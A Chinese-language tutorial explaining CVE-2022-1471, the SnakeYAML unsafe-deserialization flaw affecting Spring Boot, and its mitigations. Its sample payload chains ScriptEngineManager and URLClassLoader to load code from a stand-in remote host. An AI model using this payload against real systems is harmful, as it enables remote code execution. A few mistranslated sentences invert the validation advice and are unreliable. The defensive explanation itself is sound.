知識庫 / Spring / Spring Boot RSS 訂閱

解決CVE-2022-1471漏洞,使用SnakeYAML 2.0

Security,Spring Boot
HongKong
5
10:52 AM · Dec 06 ,2025

1. 概述

本文將探討 CVE-2022-1471,該漏洞存在於 Spring Boot 中,通過 SnakeYAML 引起,SnakeYAML 是一個流行的 Java YAML 解析庫。 此外,本文還將探討 SnakeYAML 2.0 如何解決此問題,以及如何在我們的項目中應用更新以安全我們的應用程序。

Spring Boot 2.7.x 及更早版本內部使用 SnakeYAML 1.x,因此應用程序容易受到此問題的攻擊。

2. 瞭解 CVE-2022-1471

CVE-2022-1471 是一種由於 SnakeYAML 中的不安全反序列化造成的漏洞。該庫允許任意對象被反序列化。

攻擊者可以利用這種行為在服務器上執行惡意代碼。這通常發生在 SnakeYAML 反序列化不受信任的 YAML 輸入,該輸入包含意外或危險的對象類型時:

public void parse() {
    String exploitPayload = "!!javax.script.ScriptEngineManager [\n" +
            "    !!java.net.URLClassLoader [[\n" +
            "        !!java.net.URL [\"http://dosattack/\"]\n" +
            "    ]]\n" +
            "]";

    // Unsafe YAML parsing
    Yaml yaml = new Yaml();
    Object result = yaml.load(exploitPayload);

    log.info("Deserialized object: {}", result);
}

parse() 方法處理惡意 YAML 加載有效負載,該有效負載嘗試使用 URLClassLoader 加載外部資源。它展示了不受信任的 YAML 輸入如何導致危險對象類型的反序列化,從而可能使攻擊者執行惡意代碼。

此類漏洞可能導致遠程代碼執行 (RCE),使其成為一個關鍵的安全問題。

3. SnakeYAML 2.0 解決 CVE-2022-1471

為了緩解 CVE-2022-1471 帶來的風險,SnakeYAML 引入了關鍵改進,尤其是在更安全的默認設置和反序列化過程的嚴格控制方面。

3.1. 默認使用 SafeLoader

在 SnakeYAML 中,加載器將 YAML 輸入轉換為 Java 對象。不同的加載器決定了可以反序列化的對象類型。在 2.0 版本之前,SnakeYAML 默認使用一個更寬鬆的加載器,允許反序列化任意類型的對象。

SnakeYAML 2.0 現在默認使用 SafeLoader。此加載器僅反序列化基本數據類型,例如 StringIntegerListMap。它阻止了複雜或潛在有害對象的反序列化,除非它們明確允許:

Yaml yaml = new Yaml();  // Uses SafeLoader by default

SafeLoader 確保僅處理基本數據結構,從而顯着降低反序列化漏洞的攻擊面。

3.2. 自定義加載器用於高級用例

SnakeYAML 2.0 允許開發者使用自定義加載器,以滿足需要更復雜對象反序列化的應用程序的需求。 這有助於更好地瞭解正在反序列化的類型,並要求明確配置以處理非基本類型:

Yaml yaml = new Yaml(new Constructor(Customer.class));

雖然這允許自定義類型的反序列化,但管理允許哪些類至關重要,以確保安全。

4. 緩解 CVE-2022-1471 漏洞

為了緩解 CVE-2022-1471 漏洞,我們提供以下兩種方案。我們可以升級到 SnakeYAML 2.0,該版本默認強制執行更安全的反序列化實踐。 另一種方法是,手動使用舊版本中的 SafeConstructor

4.1. 升級至 SakeYAML 2.x

為了緩解此漏洞,我們需要升級至 SnakeYAML 2.x。 此版本通過默認強制執行更安全的反序列化實踐,解決了 CVE-2022-1471。

讓我們通過更新 pom.xml,將 SnakeYAML 2.0 添加到 Maven 項目中:

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>2.3</version>
</dependency>

4.2. 使用 SafeConstructor 進行早期版本處理

如果升級到 2.0 版本不立即可行,可以通過手動使用 SafeConstructor 來緩解早期版本中的漏洞:

Yaml yaml = new Yaml(new SafeConstructor());

SafeConstructor 限制了可以反序列化的對象類型,為使用舊版 SnakeYAML 版本進行應用程序安全提供了一種臨時措施。

5. 避免不安全的反序列化

為了在 SnakeYAML 或任何 YAML 解析器中避免不安全的反序列化,必須採取進一步的預防措施:

  • 限制允許的類型:我們應該始終將反序列化限制為一組受信任的類型,並避免在必要時反序列化任意或複雜的對象圖。
  • 驗證輸入:在解析之前,應使用模式或一組期望驗證 YAML 輸入,並避免在仔細驗證的情況下解析不受信任的 YAML 數據。

6. 結論

在本快速教程中,我們探討了 CVE-2022-1471,該漏洞由於 SnakeYAML 中不安全的反序列化引入了重大安全風險,尤其是在使用 Spring Boot 2.7.x 的應用程序中,該應用程序依賴於易受攻擊的 SnakeYAML 1.x 版本。 SnakeYAML 2.0 的發佈通過引入 SafeLoader 來解決此問題,從而顯著增強了安全性。

為了保護我們的應用程序免受此漏洞的影響,升級到 SnakeYAML 2.0 或在我們的 Spring Boot 項目中覆蓋舊版本的 SnakeYAML 至關重要。

user avatar
0 位用戶收藏了這個故事!
收藏

發佈 評論

Some HTML is okay.